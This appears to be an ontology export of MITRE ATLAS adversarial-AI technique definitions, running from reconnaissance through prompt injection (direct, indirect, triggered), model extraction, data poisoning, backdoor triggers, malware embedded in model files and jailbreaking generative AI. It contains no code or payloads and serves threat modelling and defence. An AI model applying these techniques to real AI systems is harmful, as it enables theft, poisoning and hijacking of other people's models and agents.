AMD64 Code Segment
type: ImageCodeSegment
type: ProcessCodeSegment
type: NamedIndividual

Journals and Conference Proceedings - ATLAS
type: Class
attack-id: AML.T0000.000
definition: Many of the publications accepted at premier artificial intelligence conferences and journals come from commercial labs. Some journals and conferences are open access, others may require paying for access or a membership. These publications will often describe in detail all aspects of a particular approach for reproducibility. This information can be used by adversaries to implement the paper.
subclass of: AML.T0000
preferred label: Journals and Conference Proceedings

Pre-Print Repositories - ATLAS
type: Class
attack-id: AML.T0000.001
definition: Pre-Print repositories, such as arXiv, contain the latest academic research papers that haven't been peer reviewed. They may contain research notes, or technical reports that aren't typically published in journals or conference proceedings. Pre-print repositories also serve as a central location to share papers that have been accepted to journals. Searching pre-print repositories provide adversaries with a relatively up-to-date view of what researchers in the victim organization are working on.
subclass of: AML.T0000
preferred label: Pre-Print Repositories

Technical Blogs - ATLAS
type: Class
attack-id: AML.T0000.002
definition: Research labs at academic institutions and company R&D divisions often have blogs that highlight their use of artificial intelligence and its application to the organization's unique problems. Individual researchers also frequently document their work in blogposts. An adversary may search for posts made by the target victim organization or its employees. In comparison to [Journals and Conference Proceedings](/techniques/AML.T0000.000) and [Pre-Print Repositories](/techniques/AML.T0000.001) this material will often contain more practical aspects of the AI system. This could include underlying technologies and frameworks used, and possibly some information about the API access and use case. This will help the adversary better understand how that organization is using AI internally and the details of their approach that could aid in tailoring an attack.
subclass of: AML.T0000
preferred label: Technical Blogs

Search Open AI Vulnerability Analysis - ATLAS
type: Class
attack-id: AML.T0001
definition: Much like the [Search Open Technical Databases](/techniques/AML.T0000), there is often ample research available on the vulnerabilities of common AI models. Once a target has been identified, an adversary will likely try to identify any pre-existing work that has been done for this class of models. This will include not only reading academic papers that may identify the particulars of a successful attack, but also identifying pre-existing implementations of those attacks. The adversary may obtain [Adversarial AI Attack Implementations](/techniques/AML.T0016.000) or develop their own [Adversarial AI Attacks](/techniques/AML.T0017.000) if necessary.
subclass of: ATLASReconnaissanceTechnique
preferred label: Search Open AI Vulnerability Analysis

Datasets - ATLAS
type: Class
attack-id: AML.T0002.000
definition: Adversaries may collect public datasets to use in their operations. Datasets used by the victim organization or datasets that are representative of the data used by the victim organization may be valuable to adversaries. Datasets can be stored in cloud storage, or on victim-owned websites. Some datasets require the adversary to [Establish Accounts](/techniques/AML.T0021) for access. Acquired datasets help the adversary advance their operations, stage attacks, and tailor attacks to the victim organization.
subclass of: Acquire Public AI Artifacts - ATLAS
preferred label: Datasets

Models - ATLAS
type: Class
attack-id: AML.T0002.001
definition: Adversaries may acquire public models to use in their operations. Adversaries may seek models used by the victim organization or models that are representative of those used by the victim organization. Representative models may include model architectures, or pre-trained models which define the architecture as well as model parameters from training on a dataset. The adversary may search public sources for common model architecture configuration file formats such as YAML or Python configuration files, and common model storage file formats such as ONNX (.onnx), HDF5 (.h5), Pickle (.pkl), PyTorch (.pth), or TensorFlow (.pb, .tflite). Acquired models are useful in advancing the adversary's operations and are frequently used to tailor attacks to the victim model.
subclass of: Acquire Public AI Artifacts - ATLAS
preferred label: Models

Search Victim-Owned Websites - ATLAS
type: Class
attack-id: AML.T0003
definition: Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain technical details about their AI-enabled products or services. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info. These sites may also have details highlighting business operations and relationships. Adversaries may search victim-owned websites to gather actionable information. This information may help adversaries tailor their attacks (e.g. [Adversarial AI Attacks](/techniques/AML.T0017.000) or [Manual Modification](/techniques/AML.T0043.003)). Information from these sources may reveal opportunities for other forms of reconnaissance (e.g. [Search Open Technical Databases](/techniques/AML.T0000) or [Search Open AI Vulnerability Analysis](/techniques/AML.T0001))
subclass of: ATLASReconnaissanceTechnique
preferred label: Search Victim-Owned Websites

Search Application Repositories - ATLAS
type: Class
attack-id: AML.T0004
definition: Adversaries may search open application repositories during targeting. Examples of these include Google Play, the iOS App store, the macOS App Store, and the Microsoft Store. Adversaries may craft search queries seeking applications that contain AI-enabled components. Frequently, the next step is to [Acquire Public AI Artifacts](/techniques/AML.T0002).
subclass of: ATLASReconnaissanceTechnique
preferred label: Search Application Repositories

Train Proxy via Gathered AI Artifacts - ATLAS
type: Class
attack-id: AML.T0005.000
definition: Proxy models may be trained from AI artifacts (such as data, model architectures, and pre-trained models) that are representative of the target model gathered by the adversary. This can be used to develop attacks that require higher levels of access than the adversary has available or as a means to validate pre-existing attacks without interacting with the target model.
subclass of: AML.T0005
preferred label: Train Proxy via Gathered AI Artifacts

Train Proxy via Replication - ATLAS
type: Class
attack-id: AML.T0005.001
definition: Adversaries may replicate a private model. By repeatedly querying the victim's [AI Model Inference API Access](/techniques/AML.T0040), the adversary can collect the target model's inferences into a dataset. The inferences are used as labels for training a separate model offline that will mimic the behavior and performance of the target model. A replicated model that closely mimic's the target model is a valuable resource in staging the attack. The adversary can use the replicated model to [Craft Adversarial Data](/techniques/AML.T0043) for various purposes (e.g. [Evade AI Model](/techniques/AML.T0015), [Spamming AI System with Chaff Data](/techniques/AML.T0046)).
subclass of: AML.T0005
preferred label: Train Proxy via Replication

Use Pre-Trained Model - ATLAS
type: Class
attack-id: AML.T0005.002
definition: Adversaries may use an off-the-shelf pre-trained model as a proxy for the victim model to aid in staging the attack.
subclass of: AML.T0005
preferred label: Use Pre-Trained Model

Active Scanning - ATLAS
type: Class
attack-id: AML.T0006
definition: An adversary may probe or scan the victim system to gather information for targeting. This is distinct from other reconnaissance techniques that do not involve direct interaction with the victim system. Adversaries may scan for open ports on a potential victim's network, which can indicate specific services or tools the victim is utilizing. This could include a scan for tools related to AI DevOps or AI services themselves such as public AI chat agents (ex: [Copilot Studio Hunter](https://github.com/mbrg/power-pwn/wiki/Modules:-Copilot-Studio-Hunter-%E2%80%90-Enum)). They can also send emails to organization service addresses and inspect the replies for indicators that an AI agent is managing the inbox. Information gained from Active Scanning may yield targets that provide opportunities for other forms of reconnaissance such as [Search Open Technical Databases](/techniques/AML.T0000), [Search Open AI Vulnerability Analysis](/techniques/AML.T0001), or [Gather RAG-Indexed Targets](/techniques/AML.T0064).
subclass of: ATLASReconnaissanceTechnique
preferred label: Active Scanning

Discover AI Artifacts - ATLAS
type: Class
attack-id: AML.T0007
definition: Adversaries may search private sources to identify AI learning artifacts that exist on the system and gather information about them. These artifacts can include the software stack used to train and deploy models, training and testing data management systems, container registries, software repositories, and model zoos. This information can be used to identify targets for further collection, exfiltration, or disruption, and to tailor and improve attacks.
subclass of: ATLASDiscoveryTechnique
preferred label: Discover AI Artifacts

AI Development Workspaces - ATLAS
type: Class
attack-id: AML.T0008.000
definition: Developing and staging AI attacks often requires expensive compute resources. Adversaries may need access to one or many GPUs in order to develop an attack. They may try to anonymously use free resources such as Google Colaboratory, or cloud resources such as AWS, Azure, or Google Cloud as an efficient way to stand up temporary resources to conduct operations. Multiple workspaces may be used to avoid detection.
subclass of: AML.T0008
preferred label: AI Development Workspaces

Consumer Hardware - ATLAS
type: Class
attack-id: AML.T0008.001
definition: Adversaries may acquire consumer hardware to conduct their attacks. Owning the hardware provides the adversary with complete control of the environment. These devices can be hard to trace.
subclass of: AML.T0008
preferred label: Consumer Hardware

Domains - ATLAS
type: Class
attack-id: AML.T0008.002
definition: Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries may use acquired domains for a variety of purposes (see [ATT&CK](https://attack.mitre.org/techniques/T1583/001/)). Large AI datasets are often distributed as a list of URLs to individual datapoints. Adversaries may acquire expired domains that are included in these datasets and replace individual datapoints with poisoned examples ([Publish Poisoned Datasets](/techniques/AML.T0019)).
subclass of: AML.T0008
preferred label: Domains

Physical Countermeasures - ATLAS
type: Class
attack-id: AML.T0008.003
definition: Adversaries may acquire or manufacture physical countermeasures to aid or support their attack. These components may be used to disrupt or degrade the model, such as adversarial patterns printed on stickers or T-shirts, disguises, or decoys. They may also be used to disrupt or degrade the sensors used in capturing data, such as laser pointers, light bulbs, or other tools.
subclass of: AML.T0008
preferred label: Physical Countermeasures

Serverless - ATLAS
type: Class
attack-id: AML.T0008.004
definition: Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers. This can be used to bypass a Content Security Policy which prevent retrieving content from arbitrary locations.
subclass of: AML.T0008
preferred label: Serverless

Hardware - ATLAS
type: Class
attack-id: AML.T0010.000
definition: Adversaries may target AI systems by disrupting or manipulating the hardware supply chain. AI models often run on specialized hardware such as GPUs, TPUs, or embedded devices, but may also be optimized to operate on CPUs.
subclass of: AML.T0010
preferred label: Hardware

AI Software - ATLAS
type: Class
attack-id: AML.T0010.001
definition: Most AI systems rely on a limited set of AI frameworks. An adversary could get access to a large number of AI systems through a comprise of one of their supply chains. Many AI projects also rely on other open source implementations of various algorithms. These can also be compromised in a targeted way to get access to specific systems.
subclass of: AML.T0010
preferred label: AI Software

Data - ATLAS
type: Class
attack-id: AML.T0010.002
definition: Data is a key vector of supply chain compromise for adversaries. Every AI project will require some form of data. Many rely on large open source datasets that are publicly available. An adversary could rely on compromising these sources of data. The malicious data could be a result of [Poison Training Data](/techniques/AML.T0020) or include traditional malware. An adversary can also target private datasets in the labeling phase. The creation of private datasets will often require the hiring of outside labeling services. An adversary can poison a dataset by modifying the labels being generated by the labeling service.
subclass of: AML.T0010
preferred label: Data

Model - ATLAS
type: Class
attack-id: AML.T0010.003
definition: AI-enabled systems often rely on open sourced models in various ways. Most commonly, the victim organization may be using these models for fine tuning. These models will be downloaded from an external source and then used as the base for the model as it is tuned on a smaller, private dataset. Loading models often requires executing some saved code in the form of a saved model file. These can be compromised with traditional malware, or through some adversarial AI techniques.
subclass of: AML.T0010
preferred label: Model

Container Registry - ATLAS
type: Class
attack-id: AML.T0010.004
definition: An adversary may compromise a victim's container registry by pushing a manipulated container image and overwriting an existing container name and/or tag. Users of the container registry as well as automated CI/CD pipelines may pull the adversary's container image, compromising their AI Supply Chain. This can affect development and deployment environments. Container images may include AI models, so the compromised image could have an AI model which was manipulated by the adversary (See [Manipulate AI Model](/techniques/AML.T0018)).
subclass of: AML.T0010
preferred label: Container Registry

Unsafe AI Artifacts - ATLAS
type: Class
attack-id: AML.T0011.000
definition: Adversaries may develop unsafe AI artifacts that when executed have a deleterious effect. The adversary can use this technique to establish persistent access to systems. These models may be introduced via a [AI Supply Chain Compromise](/techniques/AML.T0010). Serialization of models is a popular technique for model storage, transfer, and loading. However, this format without proper checking presents an opportunity for code execution.
subclass of: User Execution - ATLAS
preferred label: Unsafe AI Artifacts

Malicious Package - ATLAS
type: Class
attack-id: AML.T0011.001
definition: Adversaries may develop malicious software packages that when imported by a user have a deleterious effect. Malicious packages may behave as expected to the user. They may be introduced via [AI Supply Chain Compromise](/techniques/AML.T0010). They may not present as obviously malicious to the user and may appear to be useful for an AI-related task.
subclass of: User Execution - ATLAS
preferred label: Malicious Package

Valid Accounts - ATLAS
type: Class
attack-id: AML.T0012
definition: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access. Credentials may take the form of usernames and passwords of individual user accounts or API keys that provide access to various AI resources and services. Compromised credentials may provide access to additional AI artifacts and allow the adversary to perform [Discover AI Artifacts](/techniques/AML.T0007). Compromised credentials may also grant an adversary increased privileges such as write access to AI artifacts used during development or production.
subclass of: ATLASInitialAccessTechnique
preferred label: Valid Accounts

Discover AI Model Ontology - ATLAS
type: Class
attack-id: AML.T0013
definition: Adversaries may discover the ontology of an AI model's output space, for example, the types of objects a model can detect. The adversary may discovery the ontology by repeated queries to the model, forcing it to enumerate its output space. Or the ontology may be discovered in a configuration file or in documentation about the model. The model ontology helps the adversary understand how the model is being used by the victim. It is useful to the adversary in creating targeted attacks.
subclass of: ATLASDiscoveryTechnique
preferred label: Discover AI Model Ontology

Discover AI Model Family - ATLAS
type: Class
attack-id: AML.T0014
definition: Adversaries may discover the general family of model. General information about the model may be revealed in documentation, or the adversary may use carefully constructed examples and analyze the model's responses to categorize it. Knowledge of the model family can help the adversary identify means of attacking the model and help tailor the attack.
subclass of: ATLASDiscoveryTechnique
preferred label: Discover AI Model Family

Evade AI Model - ATLAS
type: Class
attack-id: AML.T0015
definition: Adversaries can [Craft Adversarial Data](/techniques/AML.T0043) that prevents an AI model from correctly identifying the contents of the data or [Generate Deepfakes](/techniques/AML.T0088) that fools an AI model expecting authentic data. This technique can be used to evade a downstream task where AI is utilized. The adversary may evade AI-based virus/malware detection or network scanning towards the goal of a traditional cyber attack. AI model evasion through deepfake generation may also provide initial access to systems that use AI-based biometric authentication.
subclass of: ATLASDefenseEvasionTechnique
subclass of: ATLASImpactTechnique
subclass of: ATLASInitialAccessTechnique
preferred label: Evade AI Model

Adversarial AI Attack Implementations - ATLAS
type: Class
attack-id: AML.T0016.000
definition: Adversaries may search for existing open source implementations of AI attacks. The research community often publishes their code for reproducibility and to further future research. Libraries intended for research purposes, such as CleverHans, the Adversarial Robustness Toolbox, and FoolBox, can be weaponized by an adversary. Adversaries may also obtain and use tools that were not originally designed for adversarial AI attacks as part of their attack.
subclass of: AML.T0016
preferred label: Adversarial AI Attack Implementations

Software Tools - ATLAS
type: Class
attack-id: AML.T0016.001
definition: Adversaries may search for and obtain software tools to support their operations. Software designed for legitimate use may be repurposed by an adversary for malicious intent. An adversary may modify or customize software tools to achieve their purpose. Software tools used to support attacks on AI systems are not necessarily AI-based themselves.
subclass of: AML.T0016
preferred label: Software Tools

Generative AI - ATLAS
type: Class
attack-id: AML.T0016.002
definition: Adversaries may search for and obtain generative AI models or tools, such as large language models (LLMs), to assist them in various steps of their operation. Generative AI can be used in a variety of malicious ways, including generating malware or offensive cyber scripts, [Retrieval Content Crafting](/techniques/AML.T0066), or generating [Phishing](/techniques/AML.T0052) content. Adversaries may obtain an open source model or they may leverage a generative AI service. They may need to jailbreak the generative AI model to bypass any restrictions put in place to limit the types of responses it can generate. They may also need to break the terms of service of the generative AI.
subclass of: AML.T0016
preferred label: Generative AI

Adversarial AI Attacks - ATLAS
type: Class
attack-id: AML.T0017.000
definition: Adversaries may develop their own adversarial attacks. They may leverage existing libraries as a starting point ([Adversarial AI Attack Implementations](/techniques/AML.T0016.000)). They may implement ideas described in public research papers or develop custom made attacks for the victim model.
subclass of: Develop Capabilities - ATLAS
preferred label: Adversarial AI Attacks

Poison AI Model - ATLAS
type: Class
attack-id: AML.T0018.000
definition: Adversaries may manipulate an AI model's weights to change it's behavior or performance, resulting in a poisoned model. Adversaries may poison a model by by directly manipulating its weights, training the model on poisoned data, further fine-tuning the model, or otherwise interfering with its training process. The change in behavior of poisoned models may be limited to targeted categories in predictive AI models, or targeted topics, concepts, or facts in generative AI models, or aim for a general performance degradation.
subclass of: AML.T0018
preferred label: Poison AI Model

Modify AI Model Architecture - ATLAS
type: Class
attack-id: AML.T0018.001
definition: Adversaries may directly modify an AI model's architecture to re-define it's behavior. This can include adding or removing layers as well as adding pre or post-processing operations. The effects could include removing the ability to predict certain classes, adding erroneous operations to increase computation costs, or degrading performance. Additionally, a separate adversary-defined network could be injected into the computation graph, which can change the behavior based on the inputs, effectively creating a backdoor.
subclass of: AML.T0018
preferred label: Modify AI Model Architecture

Embed Malware - ATLAS
type: Class
attack-id: AML.T0018.002
definition: Adversaries may embed malicious code into AI Model files. AI models may be packaged as a combination of instructions and weights. Some formats such as pickle files are unsafe to deserialize because they can contain unsafe calls such as exec. Models with embedded malware may still operate as expected. It may allow them to achieve Execution, Command & Control, or Exfiltrate Data.
subclass of: AML.T0018
preferred label: Embed Malware

Publish Poisoned Datasets - ATLAS
type: Class
attack-id: AML.T0019
definition: Adversaries may [Poison Training Data](/techniques/AML.T0020) and publish it to a public location. The poisoned dataset may be a novel dataset or a poisoned variant of an existing open source dataset. This data may be introduced to a victim system via [AI Supply Chain Compromise](/techniques/AML.T0010).
subclass of: ATLASResourceDevelopmentTechnique
preferred label: Publish Poisoned Datasets

Poison Training Data - ATLAS
type: Class
attack-id: AML.T0020
definition: Adversaries may attempt to poison datasets used by an AI model by modifying the underlying data or its labels. This allows the adversary to embed vulnerabilities in AI models trained on the data that may not be easily detectable. Data poisoning attacks may or may not require modifying the labels. The embedded vulnerability is activated at a later time by data samples with an [Insert Backdoor Trigger](/techniques/AML.T0043.004) Poisoned data can be introduced via [AI Supply Chain Compromise](/techniques/AML.T0010) or the data may be poisoned after the adversary gains [Initial Access](/tactics/AML.TA0004) to the system.
subclass of: ATLASPersistenceTechnique
subclass of: ATLASResourceDevelopmentTechnique
preferred label: Poison Training Data

Establish Accounts - ATLAS
type: Class
attack-id: AML.T0021
definition: Adversaries may create accounts with various services for use in targeting, to gain access to resources needed in [AI Attack Staging](/tactics/AML.TA0001), or for victim impersonation.
subclass of: ATLASResourceDevelopmentTechnique
preferred label: Establish Accounts

Infer Training Data Membership - ATLAS
type: Class
attack-id: AML.T0024.000
definition: Adversaries may infer the membership of a data sample or global characteristics of the data in its training set, which raises privacy concerns. Some strategies make use of a shadow model that could be obtained via [Train Proxy via Replication](/techniques/AML.T0005.001), others use statistics of model prediction scores. This can cause the victim model to leak private information, such as PII of those in the training set or other forms of protected IP.
subclass of: AML.T0024
preferred label: Infer Training Data Membership

Invert AI Model - ATLAS
type: Class
attack-id: AML.T0024.001
definition: AI models' training data could be reconstructed by exploiting the confidence scores that are available via an inference API. By querying the inference API strategically, adversaries can back out potentially private information embedded within the training data. This could lead to privacy violations if the attacker can reconstruct the data of sensitive features used in the algorithm.
subclass of: AML.T0024
preferred label: Invert AI Model

Extract AI Model - ATLAS
type: Class
attack-id: AML.T0024.002
definition: Adversaries may extract a functional copy of a private model. By repeatedly querying the victim's [AI Model Inference API Access](/techniques/AML.T0040), the adversary can collect the target model's inferences into a dataset. The inferences are used as labels for training a separate model offline that will mimic the behavior and performance of the target model. Adversaries may extract the model to avoid paying per query in an artificial intelligence as a service (AIaaS) setting. Model extraction is used for [AI Intellectual Property Theft](/techniques/AML.T0048.004).
subclass of: AML.T0024
preferred label: Extract AI Model

Exfiltration via Cyber Means - ATLAS
type: Class
attack-id: AML.T0025
definition: Adversaries may exfiltrate AI artifacts or other information relevant to their goals via traditional cyber means. See the ATT&CK [Exfiltration](https://attack.mitre.org/tactics/TA0010/) tactic for more information.
subclass of: ATLASExfiltrationTechnique
preferred label: Exfiltration via Cyber Means

Denial of AI Service - ATLAS
type: Class
attack-id: AML.T0029
definition: Adversaries may target AI-enabled systems with a flood of requests for the purpose of degrading or shutting down the service. Since many AI systems require significant amounts of specialized compute, they are often expensive bottlenecks that can become overloaded. Adversaries can intentionally craft inputs that require heavy amounts of useless compute from the AI system.
subclass of: ATLASImpactTechnique
preferred label: Denial of AI Service

Erode AI Model Integrity - ATLAS
type: Class
attack-id: AML.T0031
definition: Adversaries may degrade the target model's performance with adversarial data inputs to erode confidence in the system over time. This can lead to the victim organization wasting time and money both attempting to fix the system and performing the tasks it was meant to automate by hand.
subclass of: ATLASImpactTechnique
preferred label: Erode AI Model Integrity

Cost Harvesting - ATLAS
type: Class
attack-id: AML.T0034
definition: Adversaries may target different AI services to send useless queries or computationally expensive inputs to increase the cost of running services at the victim organization. Sponge examples are a particular type of adversarial data designed to maximize energy consumption and thus operating cost.
subclass of: ATLASImpactTechnique
preferred label: Cost Harvesting

AI Artifact Collection - ATLAS
type: Class
attack-id: AML.T0035
definition: Adversaries may collect AI artifacts for [Exfiltration](/tactics/AML.TA0010) or for use in [AI Attack Staging](/tactics/AML.TA0001). AI artifacts include models and datasets as well as other telemetry data produced when interacting with a model.
subclass of: ATLASCollectionTechnique
preferred label: AI Artifact Collection

Data from Information Repositories - ATLAS
type: Class
attack-id: AML.T0036
definition: Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include SharePoint, Confluence, and enterprise databases such as SQL Server.
subclass of: ATLASCollectionTechnique
preferred label: Data from Information Repositories

Data from Local System - ATLAS
type: Class
attack-id: AML.T0037
definition: Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration. This can include basic fingerprinting information and sensitive data such as ssh keys.
subclass of: ATLASCollectionTechnique
preferred label: Data from Local System

AI Model Inference API Access - ATLAS
type: Class
attack-id: AML.T0040
definition: Adversaries may gain access to a model via legitimate access to the inference API. Inference API access can be a source of information to the adversary ([Discover AI Model Ontology](/techniques/AML.T0013), [Discover AI Model Family](/techniques/AML.T0014)), a means of staging the attack ([Verify Attack](/techniques/AML.T0042), [Craft Adversarial Data](/techniques/AML.T0043)), or for introducing data to the target system for Impact ([Evade AI Model](/techniques/AML.T0015), [Erode AI Model Integrity](/techniques/AML.T0031)). Many systems rely on the same models provided via an inference API, which means they share the same vulnerabilities. This is especially true of foundation models which are prohibitively resource intensive to train. Adversaries may use their access to model APIs to identify vulnerabilities such as jailbreaks or hallucinations and then target applications that use the same models.
subclass of: ATLASAIModelAccessTechnique
preferred label: AI Model Inference API Access

Physical Environment Access - ATLAS
type: Class
attack-id: AML.T0041
definition: In addition to the attacks that take place purely in the digital domain, adversaries may also exploit the physical environment for their attacks. If the model is interacting with data collected from the real world in some way, the adversary can influence the model through access to wherever the data is being collected. By modifying the data in the collection process, the adversary can perform modified versions of attacks designed for digital access.
subclass of: ATLASAIModelAccessTechnique
preferred label: Physical Environment Access

Verify Attack - ATLAS
type: Class
attack-id: AML.T0042
definition: Adversaries can verify the efficacy of their attack via an inference API or access to an offline copy of the target model. This gives the adversary confidence that their approach works and allows them to carry out the attack at a later time of their choosing. The adversary may verify the attack once but use it against many edge devices running copies of the target model. The adversary may verify their attack digitally, then deploy it in the [Physical Environment Access](/techniques/AML.T0041) at a later time. Verifying the attack may be hard to detect since the adversary can use a minimal number of queries or an offline copy of the model.
subclass of: ATLASAIAttackStagingTechnique
preferred label: Verify Attack

White-Box Optimization - ATLAS
type: Class
attack-id: AML.T0043.000
definition: In White-Box Optimization, the adversary has full access to the target model and optimizes the adversarial example directly. Adversarial examples trained in this manner are most effective against the target model.
subclass of: AML.T0043
preferred label: White-Box Optimization

Black-Box Optimization - ATLAS
type: Class
attack-id: AML.T0043.001
definition: In Black-Box attacks, the adversary has black-box (i.e. [AI Model Inference API Access](/techniques/AML.T0040) via API access) access to the target model. With black-box attacks, the adversary may be using an API that the victim is monitoring. These attacks are generally less effective and require more inferences than [White-Box Optimization](/techniques/AML.T0043.000) attacks, but they require much less access.
subclass of: AML.T0043
preferred label: Black-Box Optimization

Black-Box Transfer - ATLAS
type: Class
attack-id: AML.T0043.002
definition: In Black-Box Transfer attacks, the adversary uses one or more proxy models (trained via [Create Proxy AI Model](/techniques/AML.T0005) or [Train Proxy via Replication](/techniques/AML.T0005.001)) they have full access to and are representative of the target model. The adversary uses [White-Box Optimization](/techniques/AML.T0043.000) on the proxy models to generate adversarial examples. If the set of proxy models are close enough to the target model, the adversarial example should generalize from one to another. This means that an attack that works for the proxy models will likely then work for the target model. If the adversary has [AI Model Inference API Access](/techniques/AML.T0040), they may use [Verify Attack](/techniques/AML.T0042) to confirm the attack is working and incorporate that information into their training process.
subclass of: AML.T0043
preferred label: Black-Box Transfer

Manual Modification - ATLAS
type: Class
attack-id: AML.T0043.003
definition: Adversaries may manually modify the input data to craft adversarial data. They may use their knowledge of the target model to modify parts of the data they suspect helps the model in performing its task. The adversary may use trial and error until they are able to verify they have a working adversarial input.
subclass of: AML.T0043
preferred label: Manual Modification

Insert Backdoor Trigger - ATLAS
type: Class
attack-id: AML.T0043.004
definition: The adversary may add a perceptual trigger into inference data. The trigger may be imperceptible or non-obvious to humans. This technique is used in conjunction with [Poison AI Model](/techniques/AML.T0018.000) and allows the adversary to produce their desired effect in the target model.
subclass of: AML.T0043
preferred label: Insert Backdoor Trigger

Full AI Model Access - ATLAS
type: Class
attack-id: AML.T0044
definition: Adversaries may gain full "white-box" access to an AI model. This means the adversary has complete knowledge of the model architecture, its parameters, and class ontology. They may exfiltrate the model to [Craft Adversarial Data](/techniques/AML.T0043) and [Verify Attack](/techniques/AML.T0042) in an offline where it is hard to detect their behavior.
subclass of: ATLASAIModelAccessTechnique
preferred label: Full AI Model Access

Spamming AI System with Chaff Data - ATLAS
type: Class
attack-id: AML.T0046
definition: Adversaries may spam the AI system with chaff data that causes increase in the number of detections. This can cause analysts at the victim organization to waste time reviewing and correcting incorrect inferences.
subclass of: ATLASImpactTechnique
preferred label: Spamming AI System with Chaff Data

AI-Enabled Product or Service - ATLAS
type: Class
attack-id: AML.T0047
definition: Adversaries may use a product or service that uses artificial intelligence under the hood to gain access to the underlying AI model. This type of indirect model access may reveal details of the AI model or its inferences in logs or metadata.
subclass of: ATLASAIModelAccessTechnique
preferred label: AI-Enabled Product or Service

Financial Harm - ATLAS
type: Class
attack-id: AML.T0048.000
definition: Financial harm involves the loss of wealth, property, or other monetary assets due to theft, fraud or forgery, or pressure to provide financial resources to the adversary.
subclass of: AML.T0048
preferred label: Financial Harm

Reputational Harm - ATLAS
type: Class
attack-id: AML.T0048.001
definition: Reputational harm involves a degradation of public perception and trust in organizations. Examples of reputation-harming incidents include scandals or false impersonations.
subclass of: AML.T0048
preferred label: Reputational Harm

Societal Harm - ATLAS
type: Class
attack-id: AML.T0048.002
definition: Societal harms might generate harmful outcomes that reach either the general public or specific vulnerable groups such as the exposure of children to vulgar content.
subclass of: AML.T0048
preferred label: Societal Harm

User Harm - ATLAS
type: Class
attack-id: AML.T0048.003
definition: User harms may encompass a variety of harm types including financial and reputational that are directed at or felt by individual victims of the attack rather than at the organization level.
subclass of: AML.T0048
preferred label: User Harm

AI Intellectual Property Theft - ATLAS
type: Class
attack-id: AML.T0048.004
definition: Adversaries may exfiltrate AI artifacts to steal intellectual property and cause economic harm to the victim organization. Proprietary training data is costly to collect and annotate and may be a target for [Exfiltration](/tactics/AML.TA0010) and theft. AIaaS providers charge for use of their API. An adversary who has stolen a model via [Exfiltration](/tactics/AML.TA0010) or via [Extract AI Model](/techniques/AML.T0024.002) now has unlimited use of that service without paying the owner of the intellectual property.
subclass of: AML.T0048
preferred label: AI Intellectual Property Theft

Exploit Public-Facing Application - ATLAS
type: Class
attack-id: AML.T0049
definition: Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web servers and related services.
subclass of: ATLASInitialAccessTechnique
preferred label: Exploit Public-Facing Application

Command and Scripting Interpreter - ATLAS
type: Class
attack-id: AML.T0050
definition: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.
subclass of: ATLASExecutionTechnique
preferred label: Command and Scripting Interpreter

Direct - ATLAS
type: Class
attack-id: AML.T0051.000
definition: An adversary may inject prompts directly as a user of the LLM. This type of injection may be used by the adversary to gain a foothold in the system or to misuse the LLM itself, as for example to generate harmful content.
subclass of: AML.T0051
preferred label: Direct

Indirect - ATLAS
type: Class
attack-id: AML.T0051.001
definition: An adversary may inject prompts indirectly via separate data channel ingested by the LLM such as include text or multimedia pulled from databases or websites. These malicious prompts may be hidden or obfuscated from the user. This type of injection may be used by the adversary to gain a foothold in the system or to target an unwitting user of the system.
subclass of: AML.T0051
preferred label: Indirect

Triggered - ATLAS
type: Class
attack-id: AML.T0051.002
definition: An adversary may trigger a prompt injection via a user action or event that occurs within the victim's environment. Triggered prompt injections often target AI agents, which can be activated by means the adversary identifies during [Discovery](/tactics/AML.TA0008) (See [Activation Triggers](/techniques/AML.T0084.002)). These malicious prompts may be hidden or obfuscated from the user and may already exist somewhere in the victim's environment from the adversary performing [Prompt Infiltration via Public-Facing Application](/techniques/AML.T0093). This type of injection may be used by the adversary to gain a foothold in the system or to target an unwitting user of the system.
subclass of: AML.T0051
preferred label: Triggered

Spearphishing via Social Engineering LLM - ATLAS
type: Class
attack-id: AML.T0052.000
definition: Adversaries may turn LLMs into targeted social engineers. LLMs are capable of interacting with users via text conversations. They can be instructed by an adversary to seek sensitive information from a user and act as effective social engineers. They can be targeted towards particular personas defined by the adversary. This allows adversaries to scale spearphishing efforts and target individuals to reveal private information such as credentials to privileged systems.
subclass of: Phishing - ATLAS
preferred label: Spearphishing via Social Engineering LLM

AI Agent Tool Invocation - ATLAS
type: Class
attack-id: AML.T0053
